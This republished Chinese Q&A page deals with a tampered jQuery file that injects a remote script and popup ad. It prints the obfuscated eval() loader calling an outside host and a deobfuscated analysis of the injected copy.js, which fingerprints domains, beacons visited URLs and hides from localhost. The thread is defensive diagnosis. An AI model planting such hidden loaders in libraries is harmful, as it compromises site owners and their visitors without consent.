javascript - js源文件中被写入了恶意代码,如何找出?

查看:172
本文介绍了javascript - js源文件中被写入了恶意代码,如何找出?的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

问 题

源代码里被人写了一段代码... 然后 chrome 的 Console中 会有这个提示:
A Parser-blocking, cross site (i.e. different eTLD+1) script, https://banquan.b0.upaiyun.com/copy.js, is invoked via document.write. This MAY be blocked by the browser in this or a future page load due to poor network connectivity. If blocked in this page load, it will be confirmed in a subsequent console message.See https://www.chromestatus.com/feature/5718547946799104 for more details.
被写入的代码是,让网页左下角一直有个弹窗.... 就是小窗口一样的,可以关,但每一次打开都会有。
源文件的结构是

删了 jquery-2.1.1.min.js 后就没了, 判断出应该是加在这里
在index.html 末尾加入 window.onload = function(){} 后也会消失
查过说是 跨域 什么什么的, 基础还不好,所以不是很明白什么意思,仍然找不出来。
不知道通过什么方式实现的,希望有人能讲讲如何实现 js跨域然后又藏的一般人找不出来....
我觉得这问题很严重.....
还有点那啥...
深感自己的不足
希望有人能解答一下....


不好意思,我有一点没说清楚, 我这是在本地的,没有传上服务器,我把网关掉后、清空cookie就不会有了,联网后才有。
(本地的文件应该不会被劫持什么的吧...)
(应该是源代码里有一段是调用了其他网站的js文件,然后他又做了手脚...我这样没啥经验的就找不出来了..)

=== 3.16 ====
先谢谢各位的回答
修改jquery-2.1.1.min.js 的文件名后就没有那个弹窗了, 不过他写在源码里的东西还在, 现在就是想请教一下 实现这类操作的方法是什么? 我想学习后从根本上解决它...
=== 4个小时后.... ====
改文件名没用..... 是我测试的时候太匆忙了..... 很尴尬....
==== 3.18 ====
根据小明的回答...
搜索了关键词upaiyun 就找到了一段

`eval(function(p, a, c, k, e, r) {
    e = function(c) {
        return c.toString(a)
    };
    if (!''.replace(/^/, String)) {
        while (c--) r[e(c)] = k[c] || e(c);
        k = [function(e) {
            return r[e]
        }];
        e = function() {
            return '\\w+'
        };
        c = 1
    };
    while (c--)
        if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
    return p
}('2.7("<0 3=\'4/5\' 6=\'1://8.9.a.b/c.d\'>\\e/0>");', 15, 15, 'script|https|document|type|text|javascript|src|writeln|banquan|b0|upaiyun|com|copy|js|x3c'.split('|'), 0, {}));` 

删除后广告也消失了(console也没报错...应该是单纯的广告代码吧...)
虽然看不懂,不过已经可以研究了

再次感谢诸位的回答,谢谢

解决方案

先讲结论(信息不足,只能猜测):最大的可能是这个jquery-2.1.1.min.js文件被篡改,在原版的基础上加入了类似

document.write('<script type="text/javascript" src="..."><\/script>');

的语句,将https://banquan.b0.upaiyun.com/copy.js加载到你的页面中。

最直接的解决方案是另外下载一个jQuery。感兴趣的话也可以下载一个jQuery 2.1.1 min文件与现有的文件做对比,找到具体是怎么注入的。


然后简单剖析一下这个注入的文件https://banquan.b0.upaiyun.com/copy.js

这个文件首先做了一个挑衅(或者是注入的标记):

var urkill = true; 

然后是一段混淆的代码,解析后是这个样子:

var meta = window.document.getElementsByTagName("meta")
  , urcp_desc = "";
for (i in meta)
    "undefined" != typeof meta[i].name && "urkeji.com" == meta[i].name.toLowerCase() && (urcp_desc = meta[i].content);
var dqurl = window.location.host;
dqdomain = dqurl.replace(/www./, "");
var b64pad = ""
  , chrsz = 8;
function ur_safe(b) {
    return binb2b64(core_sha1(str2binb(b), b.length * chrsz))
}
function core_sha1(b, a) {
    b[a >> 5] |= 128 << 24 - a % 32;
    b[(a + 64 >> 9 << 4) + 15] = a;
    a = Array(80);
    for (var c = 1732584193, d = -271733879, e = -1732584194, g = 271733878, h = -1009589776, k = 0; k < b.length; k += 16) {
        for (var l = c, m = d, n = e, p = g, q = h, f = 0; 80 > f; f++) {
            a[f] = 16 > f ? b[k + f] : rol(a[f - 3] ^ a[f - 8] ^ a[f - 14] ^ a[f - 16], 1);
            var r = safe_add(safe_add(rol(c, 5), sha1_ft(f, d, e, g)), safe_add(safe_add(h, a[f]), sha1_kt(f)))
              , h = g
              , g = e
              , e = rol(d, 30)
              , d = c
              , c = r
        }
        c = safe_add(c, l);
        d = safe_add(d, m);
        e = safe_add(e, n);
        g = safe_add(g, p);
        h = safe_add(h, q)
    }
    return [c, d, e, g, h]
}
function sha1_ft(b, a, c, d) {
    return 20 > b ? a & c | ~a & d : 40 > b ? a ^ c ^ d : 60 > b ? a & c | a & d | c & d : a ^ c ^ d
}
function sha1_kt(b) {
    return 20 > b ? 1518500249 : 40 > b ? 1859775393 : 60 > b ? -1894007588 : -899497514
}
function safe_add(b, a) {
    var c = (b & 65535) + (a & 65535);
    return (b >> 16) + (a >> 16) + (c >> 16) << 16 | c & 65535
}
function rol(b, a) {
    return b << a | b >>> 32 - a
}
function str2binb(b) {
    for (var a = [], c = (1 << chrsz) - 1, d = 0; d < b.length * chrsz; d += chrsz)
        a[d >> 5] |= (b.charCodeAt(d / chrsz) & c) << 24 - d % 32;
    return a
}
function binb2str(b) {
    for (var a = "", c = (1 << chrsz) - 1, d = 0; d < 32 * b.length; d += chrsz)
        a += String.fromCharCode(b[d >> 5] >>> 24 - d % 32 & c);
    return a
}
function binb2b64(b) {
    for (var a = "", c = 0; c < 4 * b.length; c += 3)
        for (var d = (b[c >> 2] >> 8 * (3 - c % 4) & 255) << 16 | (b[c + 1 >> 2] >> 8 * (3 - (c + 1) % 4) & 255) << 8 | b[c + 2 >> 2] >> 8 * (3 - (c + 2) % 4) & 255, e = 0; 4 > e; e++)
            a = 8 * c + 6 * e > 32 * b.length ? a + b64pad : a + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(d >> 6 * (3 - e) & 63);
    return a
}
ur_safe(dqdomain) == urcp_desc || "localhost" == dqurl || "127.0.0.1" == dqurl ? !function() {
    var b = window.location.href;
    if (!/([http|https]:\/\/[a-zA-Z0-9\_\.]+\.baidu\.com)/gi.test(b)) {
        var a;
        a = "https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif?r=" + encodeURIComponent("http://www.urkeji.com/");
        b && (a += "&l=" + b);
        (new Image).src = a
    }
}(window) : window.onload = function() {
    document.getElementsByTagName("body")[0].insertAdjacentHTML("afterBegin", '<div id="uradpop" style="display:block !important; border:solid 1px #666; border-radius:10px; position:fixed; width:360px !important; height:300px !important; bottom:5px !important; left:2px !important; z-index:2147483648; overflow:hidden;"><a href="javascript:void(0);" onclick="urdd()" style="position:absolute; top:5px; right:5px; z-index:2147483647; font-size:28px; font-weight:bold; color:#ff0000; text-decoration:none;">\u00d7</a><iframe src="http://www.urkeji.com/wenda/tui.html" scrolling="no" frameborder="0" style="width:360px; height:300px; margin:0;"></ifrasme></div>')
};
function urdd() {
    document.getElementById("uradpop").style.display = "none"
};

主要分为两部分:一组SHA-1加密函数,以及一段DOM操作。基本逻辑是,如果当前页面不包含一个特殊的mega标签(content为SHA-1加密后的域名),则执行DOM操作,显示一个弹窗,内容包括iframe包裹的http://www.urkeji.com/wenda/tui.html

而这段DOM操作是放在window.onload 里的,因而会被你在index.html末尾另加的一个window.onload 覆盖,从而阻止DOM操作。

据此推断,www.urkeji.com就是这段代码的罪魁祸首。


案情回顾:

urkeji.com 是帮助客户做网站的,小本经营,不温不火。为了加大宣传,想出了这么个主意:在jQuery文件中加入显示小广告的脚本,上传到各大网站与正规的jQuery混到一起。为了使自己的客户不受影响,改公司制作的网站都利用加密后的域名制作了一个特定的<mega>标签阻止小广告。同时在localhost上也阻止了小广告,以防被开发人员发现。。。

用心也算良苦了,就是做法太流氓。

这篇关于javascript - js源文件中被写入了恶意代码,如何找出?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆